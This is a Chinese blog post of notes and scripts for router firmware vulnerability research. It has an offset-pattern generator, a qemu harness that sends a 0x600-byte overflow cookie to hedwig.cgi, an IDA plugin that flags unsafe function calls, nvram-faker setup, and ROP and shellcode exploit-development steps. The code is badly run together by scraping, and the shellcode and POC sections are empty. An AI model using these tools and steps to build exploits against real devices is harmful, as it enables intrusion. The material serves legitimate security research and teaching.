路由器运行python脚本_路由器漏洞挖掘使用的脚本

计算偏移多少的python脚本:

#a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'#B = 'abcdefghijklmnopqrstuvwxyz'#c = '0123456789'

from string importascii_lowercase as lsfrom string importascii_uppercase as UPimporttimeimportsysimportosimportbinascii

a= ''.join(ls)

b= ''.join(UP)

c= ''.join(str(j) for j in range(10))defgenerate(count,output):

codeStr= ''

print('[*] Create pattern string contains %d characters' %count)

timeStart=time.time()for i inrange(0,count):

codeStr+= b[i/(26*10)]+a[i%(26*10)/10]+c[i%(26*10)%10]print('ok!')ifoutput:print('[+] Output to %s' %output)

with open(output,'w') as f:

f.write(codeStr)print('Done!')else:returncodeStrprint("[+] take time : %.4f s" % (time.time()-timeStart) )defusage():print('Please use as follow:\n')print('python xx.py number filename\n')print('number : the total number of characters to generate')print('filename : output to save')defgetOffSet(str1,fname):if notos.path.exists(fname):print('File not exits.........')return

print('Searching.............')try:

with open(fname,'r') as f:

position=f.read().index(str1)print('[+] the offset of %s is %d' %(str1,position))except:print('\n Find nothing... please check %s' %str1)defgetArgv():

s= ''s1=''

if (len(sys.argv)!=3):

usage()else:

number= sys.argv[1]

filename= sys.argv[2]if number.startswith('0x'):

s= number.strip('0x')for i in range(0,8,2):

s1+= binascii.a2b_hex(s[i:i+2])#s1 += chr(int(s[i:i+2],base='16'))

#print(s1)

getOffSet(s1,filename)else:try:

inumber=int(number)

generate(inumber,filename)except:

usage()if __name__=='__main__':

getArgv()

python偏移计算

#/bin/bash

#pentest_cgi.sh#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`

test=$(python -c "print 'uid=1234&password='+'A'*0x600")

LEN=$(echo -n "$test" | wc -c)

PORT="1234"

echo "Runing..."

cp $(which qemu-mipsel-static) ./qemusudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null

echo 'ended'

rm -f ./qemu

IDA动态调试脚本

IDA 脚本:

from idaapi import *

classscanvulufinder(idaapi.plugin_t):

flags=0

comment= "MIPS vulu Funcs Finder"help= ""wanted_name= "MIPS vulu Funcs Finder"wanted_hotkey= ""

def __init__(self):

self.init()

self.run(None)definit(self):

self.menu_context= idaapi.add_menu_item("Search/", "MIPS vulu Funcs Finder", "", 0, self.run, (None,))returnidaapi.PLUGIN_KEEPdefterm(self):

idaapi.del_menu_item(self.menu_context)returnNonedefrun(self, arg):globalscanvulu

scanvulu=scanvulu()classscanvulu:defgetFuncAddr(self,fname):returnLocByName(fname)defjudgeAduit(self,addr):"""not safe function handler"""MakeComm(addr,"### AUDIT HERE ###")

SetColor(addr,CIC_ITEM,0x0000ff) #set background red

deffind(self,funcname):"""not safe function finder"""count=0

fAddr=self.getFuncAddr(funcname)

func=get_func(fAddr)if not func isNone:

fname=Name(func.startEA)

items=FuncItems(func.startEA)for i initems:for xref inXrefsTo(i,0):if xref.type == fl_CN or xref.type ==fl_CF:

count+=1Message("| %s[%d] calls 0x%08x from => %08x |\n" %(fname,count,xref.frm,i))

self.judgeAduit(xref.frm)else:

Warning("NO function named '%s' found at location %x" %(funcname,fAddr))defPLUGIN_ENTRY():return scanvulufinder()

查找危险函数

上述脚本使用:scanvulu.find(xxx)

各种shellcode生成器 (python3.x)

pass

shellcode生成器

路由器攻击脚本框架(POC):

pass

攻击脚本框架

漏洞利用开发的过程:

劫持PC

确定偏移

确定攻击途径

命令执行(rop链构造)

执行shellcode

构造漏洞攻击数据(py脚本)

编写ropgadget攻击链时,先要找可以控制的寄存器--->构造Rop执行链,找符合的代码片段---->写完整填充数据

使用qemu动态调试时注意事项:

查看调试点所在函数的运行环境变量,(通过在函数调用前和调用中查找getenv可知道所使用的环境变量,放到qemu -E 选项中)

2.编写劫持程序运行库命令:

mips-linux-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so

放到根目录

sudo chroot . ./qemu-mips -E LD_PRELOAD='/apmib-ld.so' -g 1234 ./bin/boa

3,nvram 修复方法:

1,git clone https://github.com/zcutlip/nvram-faker.git2,打开nvram-faker.c3,添加

int fork(void)

{return0;

}

char*get_mac_from_ip(const char*ip)

{

char mac[]="00:50:56:C0:00:08";

cahr*rmac=strdup(mac);returnrmac;

}4,修改nvram-faker.h 头文件,添加函数声明:

char*get_mac_from_ip(const char*ip);

int fork(void);

5,在nvram-faker目录下有两个buildxx.sh,分别编译小端大端,选择直接运行 sh xx.sh6,在nvram-faker目录下生成libnvram-faker.so 动态库,将这个动态库和nvram.ini

一起复制到固件根系统。7,把mipsel-linux-gcc 的交叉编译环境中lib下的libgcc_s.so.1复制到固件根系统lib文件夹中。

这个文件一般在你的buildroot目录下的/output/target/lib/libgcc_s.so.1或者使用 sudo find/ -name libgcc_s.so.1 查找

8,使用:

速度哦chroot . ./qemu-mipsel-static -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/xxx(httpd等)

常用命令:

在库文件中查找某个函数偏移:

nm -D libc.so.0 |grep -w system

hexdump使用:

hexdump -C xxx  输出规范的十六进制和ascii   -s    表示从固定偏移位置输出

readelf -S 应用程序 | more  查看linux应用程序的入口地址,各段偏移,代码长度

dd if=./xx of=test bs=1 skip=288 count=45664(从偏移288b 的位置提取大小为456664b 的内容,注意:bs=1表示一个1bytes,skip和count用十进制)

mipsrop.stackfinders() 查找堆栈数据保存到寄存器的指令,

mipsrop.find(‘lw $ra, .*')   查找特定指令

web请求中的0x00表示会截断后面的数据。只发送前面数据,另外 0x00也会影响以0x00截断的字符串复制函数,比如strcpy

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值